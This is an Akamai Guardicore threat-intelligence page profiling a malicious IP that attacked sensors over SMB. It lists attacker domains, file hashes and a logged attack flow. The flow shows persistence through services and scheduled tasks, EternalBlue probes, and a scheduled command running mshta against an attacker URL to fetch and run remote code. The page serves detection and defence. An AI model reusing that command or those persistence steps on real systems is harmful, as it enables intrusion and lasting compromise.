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Discover malicious IPs and domains with Akamai Guardicore Segmentation

IP Address: 218.166.96.197Malicious

IP Address: 218.166.96.197Malicious

This IP address attempted an attack on a machine in our threat sensors network

Threat Information

Role

Attacker, Scanner

Services Targeted

SMB

Tags

Persistency - Logon Driver Configuration Scheduled Task Creation Access Suspicious Domain Access Share Driver Creation Download File Execute from Share Successful SMB Login CMD Service Deletion SMB Share Connect Driver Start Service Start DNS Query IDS - A Network Trojan was detected Service Stop Executable File Modification Service Creation SMB Listening Download and Execute Cookie Hijacking SMB Null Session Login System File Modification Service Configuration

Associated Attack Servers

i.haqo.net ii.haqo.net ip.42.pl pp.abbny.com w.beahh.com

36.37.88.167 196.219.95.172

Basic Information

IP Address

218.166.96.197

Domain

-

ISP

-

Country

Taiwan, Province of China

WHOIS

Created Date

-

Updated Date

-

Organization

-

First seen in Akamai Guardicore Segmentation

2023-03-10

Last seen in Akamai Guardicore Segmentation

2023-03-13

What is Akamai Guardicore Segmentation
Akamai Guardicore Segmentation is a data center and cloud security solution that protects the organization's core assets, using flexible, quickly deployed and easy to understand micro-segmentation controls. Akamai Guardicore Segmentation generates in-context security incidents, with details on attacker tools and techniques, that help IR teams prioritize incident investigation and reduce dwell time. Learn More

Attack Flow

A user logged in using SMB with the following username: Administrator - Authentication policy: Correct Password

Successful SMB Login

C:\ZxqLifYu.exe was downloaded

Download File

zxqlifyu.exe was executed from the remote share \\server-backup\c$

Execute from Share

c:\windows\system32\services.exe installed and started \\server-backup\c$\zxqlifyu.exe as a service named tbWb under service group None

Service Start Service Creation

Service tbWb was stopped

Service Stop

IDS detected A Network Trojan was detected : Possible ETERNALBLUE Probe MS17-010 (MSF style)

IDS - A Network Trojan was detected

IDS detected A Network Trojan was detected : Possible ETERNALBLUE Probe MS17-010 (Generic Flags)

IDS - A Network Trojan was detected

IDS detected A Network Trojan was detected : ETERNALBLUE Probe Vulnerable System Response MS17-010

IDS - A Network Trojan was detected

c:\windows\system32\services.exe installed and started cmd as a service named XlpF under service group None

Service Start Service Creation

IDS detected A Network Trojan was detected : WMIC WMI Request Over SMB - Likely Lateral Movement

IDS - A Network Trojan was detected

The file c:\windows\system32\drivers\svchost.exe was downloaded and executed 4 times

Download and Execute

c:\windows\system32\services.exe installed and started cmd as a service named YGDU under service group None

Service Start Service Creation

The file C:\WINDOWS\Temp\svchost.exe was downloaded and executed 6 times

Download and Execute

Service YGDU was stopped

Service Stop

Process c:\installed2.exe started listening on ports: 65533

Listening

System file C:\WINDOWS\system32\wbem\AutoRecover\88744D2A29102FC88ECF505DD2E984FC.mof was modified

System File Modification

Process c:\windows\temp\svchost.exe started listening on ports: 60124 2 times

Listening

A user logged in using SMB with the following username: Administrator - Authentication policy: Previously Approved User

Successful SMB Login

C:\ZpqUHzom.exe was downloaded

Download File

c:\windows\temp\ttt.exe set the command line C:\WINDOWS\system32\wmiex.exe to run using Persistency - Logon

Persistency - Logon

c:\windows\system32\services.exe installed and started c:\windows\system32\wmiex.exe as a service named WebServers under service group None

Service Start Service Creation

c:\windows\system32\services.exe installed and started \\server-backup\c$\zpquhzom.exe as a service named Jbpg under service group None

Service Start Service Creation

zpquhzom.exe was executed from the remote share \\server-backup\c$

Execute from Share

Process c:\installed2.exe attempted to access suspicious domains: i.haqo.net

DNS Query Access Suspicious Domain

Service Jbpg was stopped

Service Stop

The command line C:\WINDOWS\system32\cmd.exe /c C:\WINDOWS\system32\wmiex.exe was scheduled to run by modifying C:\WINDOWS\Tasks\WebServers.job

The file c:\windows\system32\wmiex.exe was downloaded and executed

Download and Execute

c:\windows\system32\services.exe installed and started c:\windows\system32\drivers\svchost.exe as a service named Ddriver under service group None 3 times

Service Start Service Creation

Executable file c:\windows\system32\drivers\svchost.exe was modified

Executable File Modification

c:\installed2.exe set the command line C:\WINDOWS\system32\drivers\svchost.exe| to run using Persistency - Logon

Persistency - Logon

Process c:\windows\system32\wmiex.exe attempted to access suspicious domains: ii.haqo.net and pp.abbny.com

DNS Query Access Suspicious Domain

c:\windows\system32\services.exe installed and started system32\drivers\tcpip6.sys as a service named Tcpip6 under service group None

Driver Start Service Creation

The file c:\windows\system32\drivers\taskmgr.exe was downloaded and executed

Download and Execute

System file C:\WINDOWS\security\Database\secedit.sdb was modified

System File Modification

c:\windows\system32\netsh.exe installed and started %systemroot%\system32\6to4svc.dll as a service named 6to4 under service group NetworkService

Service Start Service Creation

The command line C:\WINDOWS\system32\cmd.exe /c C:\WINDOWS\system32\drivers\svchost.exe was scheduled to run by modifying C:\WINDOWS\Tasks\Ddrivers.job

The file C:\WINDOWS\Temp\_MEI24562\python27.dll was downloaded and loaded by c:\windows\temp\_mei24562\python27.dll

Download and Execute

The file C:\WINDOWS\Temp\_MEI24562\msvcr90.dll was downloaded and loaded by c:\windows\temp\_mei24562\msvcr90.dll

Download and Execute

Process c:\windows\system32\drivers\svchost.exe started listening on ports: 65533

Listening

c:\windows\system32\services.exe installed and started system32\drivers\smb.sys as a service named Smb under service group None

Driver Start Service Creation

Process c:\windows\system32\drivers\svchost.exe attempted to access suspicious domains: i.haqo.net

DNS Query Access Suspicious Domain

The command line C:\WINDOWS\system32\cmd.exe /c mshta http://w.beahh.com/page.html?pSERVER-BACKUP was scheduled to run by modifying C:\WINDOWS\Tasks\Autocheck.job

The command line C:\Windows\temp\svchost.exe was scheduled to run by modifying C:\WINDOWS\Tasks\Autoscan.job

Process c:\windows\system32\mshta.exe attempted to access suspicious domains: w.beahh.com

DNS Query Access Suspicious Domain

c:\windows\system32\services.exe installed system32\drivers\tunmp.sys as a service named tunmp under service group None

Service Creation

The file C:\WINDOWS\Temp\_MEI31842\python27.dll was downloaded and loaded by c:\windows\temp\_mei31842\python27.dll

Download and Execute

The file C:\WINDOWS\Temp\_MEI31842\msvcr90.dll was downloaded and loaded by c:\windows\temp\svchost.exe

Download and Execute

Process c:\windows\temp\svchost.exe attempted to access suspicious domains: ip.42.pl

DNS Query Access Suspicious Domain

Process c:\windows\temp\svchost.exe started listening on ports: 60124

Listening

Connection was closed due to timeout

Associated Files

C:\WINDOWS\system32\drivers\taskmgr.exe

SHA256: 01b842cab76c78a1d9860ade258923772fe3b08ae7a428d5f54e1bf9d9c3b205

49200 bytes

C:\WINDOWS\Temp\ttt.exe

SHA256: 2cb31dc05dffb735b1308a3a4a1729f4fb0f4980877dbf3af494a02280b1c3ff

73776 bytes

C:\aCfNDadu.exe

SHA256: 3c2fe308c0a563e06263bbacf793bbe9b2259d795fcc36b953793a7e499e7f71

56320 bytes